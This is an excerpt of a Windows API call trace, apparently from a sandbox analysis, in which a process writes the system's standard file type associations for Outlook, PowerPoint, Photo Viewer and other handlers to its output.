	[0058.287] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Outlook.File.msg.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /f \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Outlook.File.msg.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /f \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 92
	[0058.287] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x5b, lpOverlapped=0x0) returned 1
	[0058.288] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.288] GetFileType (hFile=0x5c) returned 0x3
	[0058.288] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.288] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Outlook.File.oft.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /t \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Outlook.File.oft.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /t \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 92
	[0058.288] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x5b, lpOverlapped=0x0) returned 1
	[0058.288] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.288] GetFileType (hFile=0x5c) returned 0x3
	[0058.288] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.288] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Outlook.File.pst.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /pst \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Outlook.File.pst.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /pst \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 94
	[0058.288] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x5d, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x5d, lpOverlapped=0x0) returned 1
	[0058.288] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.288] GetFileType (hFile=0x5c) returned 0x3
	[0058.289] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.289] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Outlook.File.vcf.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /v \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Outlook.File.vcf.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /v \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 92
	[0058.289] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x5b, lpOverlapped=0x0) returned 1
	[0058.289] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.289] GetFileType (hFile=0x5c) returned 0x3
	[0058.289] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.289] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Outlook.File.vcs.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /vcal \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Outlook.File.vcs.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /vcal \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 95
	[0058.289] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x5e, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x5e, lpOverlapped=0x0) returned 1
	[0058.289] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.289] GetFileType (hFile=0x5c) returned 0x3
	[0058.289] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.289] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Outlook.URL.feed.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /share \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Outlook.URL.feed.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /share \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 96
	[0058.289] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x5f, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x5f, lpOverlapped=0x0) returned 1
	[0058.290] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.290] GetFileType (hFile=0x5c) returned 0x3
	[0058.290] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.290] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Outlook.URL.mailto.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" -c IPM.Note /mailto \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Outlook.URL.mailto.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" -c IPM.Note /mailto \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 111
	[0058.290] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x6e, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x6e, lpOverlapped=0x0) returned 1
	[0058.290] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.290] GetFileType (hFile=0x5c) returned 0x3
	[0058.290] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.290] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Outlook.URL.stssync.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /share \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Outlook.URL.stssync.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /share \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 99
	[0058.290] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x62, lpOverlapped=0x0) returned 1
	[0058.290] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.290] GetFileType (hFile=0x5c) returned 0x3
	[0058.290] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.290] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Outlook.URL.webcal.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /share \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Outlook.URL.webcal.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /share \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 98
	[0058.290] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x61, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x61, lpOverlapped=0x0) returned 1
	[0058.291] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.291] GetFileType (hFile=0x5c) returned 0x3
	[0058.291] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.291] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="P7RFile=%SystemRoot%\\system32\\rundll32.exe cryptext.dll,CryptExtOpenP7R %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P7RFile=%SystemRoot%\\system32\\rundll32.exe cryptext.dll,CryptExtOpenP7R %1\r\n", lpUsedDefaultChar=0x0) returned 77
	[0058.291] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x4c, lpOverlapped=0x0) returned 1
	[0058.291] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.291] GetFileType (hFile=0x5c) returned 0x3
	[0058.291] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.291] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="P7SFile=%SystemRoot%\\system32\\\\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P7SFile=%SystemRoot%\\system32\\\\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1\r\n", lpUsedDefaultChar=0x0) returned 80
	[0058.291] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x4f, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x4f, lpOverlapped=0x0) returned 1
	[0058.291] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.291] GetFileType (hFile=0x5c) returned 0x3
	[0058.291] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.291] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Paint.Picture=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Paint.Picture=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", lpUsedDefaultChar=0x0) returned 130
	[0058.291] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x81, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x81, lpOverlapped=0x0) returned 1
	[0058.292] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.292] GetFileType (hFile=0x5c) returned 0x3
	[0058.292] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.292] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="pbkfile=%SystemRoot%\\system32\\rasphone.exe -f \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pbkfile=%SystemRoot%\\system32\\rasphone.exe -f \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 53
	[0058.292] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x34, lpOverlapped=0x0) returned 1
	[0058.292] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.292] GetFileType (hFile=0x5c) returned 0x3
	[0058.292] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.292] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PerfFile=%SystemRoot%\\system32\\mmc.exe %systemroot%\\system32\\perfmon.msc /F \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PerfFile=%SystemRoot%\\system32\\mmc.exe %systemroot%\\system32\\perfmon.msc /F \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 83
	[0058.292] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x52, lpOverlapped=0x0) returned 1
	[0058.293] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.293] GetFileType (hFile=0x5c) returned 0x3
	[0058.293] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.293] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PhotoViewer.FileAssoc.Bitmap=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PhotoViewer.FileAssoc.Bitmap=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", lpUsedDefaultChar=0x0) returned 145
	[0058.293] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x90, lpOverlapped=0x0) returned 1
	[0058.293] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.293] GetFileType (hFile=0x5c) returned 0x3
	[0058.293] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.293] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PhotoViewer.FileAssoc.JFIF=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PhotoViewer.FileAssoc.JFIF=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", lpUsedDefaultChar=0x0) returned 143
	[0058.293] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x8e, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x8e, lpOverlapped=0x0) returned 1
	[0058.293] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.293] GetFileType (hFile=0x5c) returned 0x3
	[0058.293] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.293] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PhotoViewer.FileAssoc.Jpeg=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PhotoViewer.FileAssoc.Jpeg=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", lpUsedDefaultChar=0x0) returned 143
	[0058.293] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x8e, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x8e, lpOverlapped=0x0) returned 1
	[0058.294] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.294] GetFileType (hFile=0x5c) returned 0x3
	[0058.294] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.294] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PhotoViewer.FileAssoc.Png=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PhotoViewer.FileAssoc.Png=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", lpUsedDefaultChar=0x0) returned 142
	[0058.294] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x8d, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x8d, lpOverlapped=0x0) returned 1
	[0058.294] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.294] GetFileType (hFile=0x5c) returned 0x3
	[0058.294] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.294] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PhotoViewer.FileAssoc.Tiff=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PhotoViewer.FileAssoc.Tiff=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", lpUsedDefaultChar=0x0) returned 143
	[0058.294] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x8e, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x8e, lpOverlapped=0x0) returned 1
	[0058.294] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.294] GetFileType (hFile=0x5c) returned 0x3
	[0058.294] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.294] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PhotoViewer.FileAssoc.Wdp=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PhotoViewer.FileAssoc.Wdp=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", lpUsedDefaultChar=0x0) returned 142
	[0058.294] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x8d, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x8d, lpOverlapped=0x0) returned 1
	[0058.295] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.295] GetFileType (hFile=0x5c) returned 0x3
	[0058.295] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.295] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="piffile=\"%1\" %*\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="piffile=\"%1\" %*\r\n", lpUsedDefaultChar=0x0) returned 18
	[0058.295] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x11, lpOverlapped=0x0) returned 1
	[0058.295] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.295] GetFileType (hFile=0x5c) returned 0x3
	[0058.295] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.295] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="pjpegfile=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pjpegfile=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", lpUsedDefaultChar=0x0) returned 126
	[0058.295] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x7d, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x7d, lpOverlapped=0x0) returned 1
	[0058.295] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.295] GetFileType (hFile=0x5c) returned 0x3
	[0058.295] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.296] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="pngfile=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pngfile=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", lpUsedDefaultChar=0x0) returned 124
	[0058.296] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x7b, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x7b, lpOverlapped=0x0) returned 1
	[0058.296] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.296] GetFileType (hFile=0x5c) returned 0x3
	[0058.296] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.296] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.Addin.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.Addin.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 99
	[0058.296] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x62, lpOverlapped=0x0) returned 1
	[0058.296] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.296] GetFileType (hFile=0x5c) returned 0x3
	[0058.296] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.296] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.Addin.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.Addin.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 89
	[0058.296] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x58, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x58, lpOverlapped=0x0) returned 1
	[0058.297] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.297] GetFileType (hFile=0x5c) returned 0x3
	[0058.297] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.297] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.OpenDocumentPresentation.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.OpenDocumentPresentation.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 118
	[0058.297] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x75, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x75, lpOverlapped=0x0) returned 1
	[0058.297] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.297] GetFileType (hFile=0x5c) returned 0x3
	[0058.297] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.297] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.Show.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.Show.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 98
	[0058.297] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x61, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x61, lpOverlapped=0x0) returned 1
	[0058.297] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.297] GetFileType (hFile=0x5c) returned 0x3
	[0058.297] _get_osfhandle (_FileHandle=1) returned 0x5c
